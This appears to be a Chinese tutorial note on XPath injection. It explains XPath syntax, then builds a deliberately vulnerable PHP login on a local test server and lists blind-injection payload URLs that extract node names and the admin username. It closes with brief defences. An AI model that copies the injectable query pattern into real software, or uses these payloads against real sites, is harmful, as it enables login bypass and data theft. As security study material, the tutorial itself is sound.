XPath注入笔记

什么是XPath

随着web不断地向原始版语义web发展,应用程序之间的交互性变得更强.JSON和XML成为web技术中两种主流的数据交换方式.XML文档可以存放在文件系统或一个兼容XML的数据库中(如SQL Server),这是一种很流行的归档数据的方式,便于日后的任务检索.XSLT是一个W3C标准,用来将XML转换为其他格式,如HTML和PDF.

XPath是一种用来在内存中导航整个XML树的语言,它的设计初衷是作为一种面向XSLT和XPointer的语言,后来独立成了一种W3C标准.

XPath基础语法

节点

在XPath中,XML文档被作为节点树对待,共有7种类型的节点:

  • element (元素)
  • attribute (属性)
  • text (文本)
  • namespace (命名空间)
  • processing-instruction (处理指令)
  • comment (注释)
  • root (根节点)

例如下面的XML文档,

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
<book>
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>
1
2
3
<bookstore> 根节点
<author>J K. Rowling</author> 元素节点
lang="en" 属性节点

XPath表达式

XPath通过路径表达式(Path Expression)来选取节点,基本规则:

表达式 描述
nodename 选取此节点的所有子节点
/ 从根节点选取
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
. 选取当前节点
.. 选取当前节点的父节点
@ 选取属性

来看一个XML实例,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
<book>
<title lang="eng">Harry Potter</title>
<price>29.99</price>
</book>
<book>
<title lang="eng">Learning XML</title>
<price>39.95</price>
</book>
</bookstore>
表达式 结果
bookstore 选取 bookstore 元素的所有子节点
/bookstore 选取根元素 bookstore
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素
//book 选取所有 book 子元素,而不管它们在文档中的位置
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置
//@lang 选取名为 lang 的所有属性

谓语

谓语是对路径表达式的附加条件,用来查找某个特定的节点或者包含某个指定的值的节点.

谓语被嵌在方括号中.

表达式 结果
/bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
/bookstore/book[last()] 选取属于 bookstore 子元素的最后一个 book 元素
//title[@lang] 选取所有拥有名为 lang 的属性的 title 元素
//title[@lang=’eng’] 选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性
/bookstore/book[price>35.00]/title 选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00

通配符

XPath 通配符可用来选取未知的 XML 元素.

通配符 描述
* 匹配任何元素节点
@* 匹配任何属性节点
node() 匹配任何类型的节点

实例,

表达式 结果
/bookstore/* 选取 bookstore 元素的所有子元素
//* 选取文档中的所有元素
//title[@*] 选取所有带有属性的 title 元素

选取多个路径

可以在路径表达式中使用”|”运算符来选取若干路径.

实例,

表达式 结果
//book/title \ //book/price 选取 book 元素的所有 title 和 price 元素
bookstore/book/title \ //price 选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素

运算符

路径表达式中可以使用一些常见的数学运算符和逻辑运算符,

XPath注入

XPath注入原理

主流脚本语言都支持对XPath的处理,下面我以PHP来学习XPath注入的原理.

blog.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
<secret>
<flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
</secret>
</root>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$xml = simplexml_load_file('blog.xml');
$name = $_GET['name'];
$pwd = md5($_GET['pwd']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}

代码很简单,实现了一个简单的登陆验证功能.

其实和SQL注入相似,没有对用户输入的数据做过滤,导致攻击者可以直接注入”XPath表达式”.

只要知道用户名就能绕过密码验证,

如果用户名没法得知,可以用两个”or”来绕过验证逻辑,

提取数据

下面介绍XPath盲注的方法.

盲注主要利用XPath的一些字符串操作函数和运算符.

以前文的环境为例,如果我们想遍历出整个XML文档,一般步骤如下:

判断根下节点数:

1
2
127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake
result: 1

猜解第一级节点:

1
2
3
4
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake
...
result: root

判断root的下一级节点数:

1
2
127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake
result: 2

猜解root的下一级节点:

1
2
3
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake
result: users,secret

重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值.

猜解id为1的user节点下的username值,

1
2
3
127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
...
result: admin

工具

xcat

XCat是一个用来利用XPath盲注的命令行程序。它可以用来检索正在被易受攻击的XPath查询处理的整个XML文档,读取主机文件系统上的任意文件,并利用无限制的HTTP请求使服务器直接向xcat发送数据(OOB带外通信)

防御XPath注入

  1. 在代码层对用户输入的数据进行过滤
  2. 使用参数化查询

总结

简单的学习了XPath的使用及注入原理,目前XPath有1.0和2.0两个版本,我使用的PHP中目前只支持1.0,2.0的很多函数没法使用😭.

在2.0中,还可以用doc()函数来加载远程文档或者外带数据.

参考

http://www.w3school.com.cn/xpath/

https://msdn.microsoft.com/zh-cn/library/ms256138(v=vs.120).aspx

https://developer.mozilla.org/en-US/docs/Web/XPath

https://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf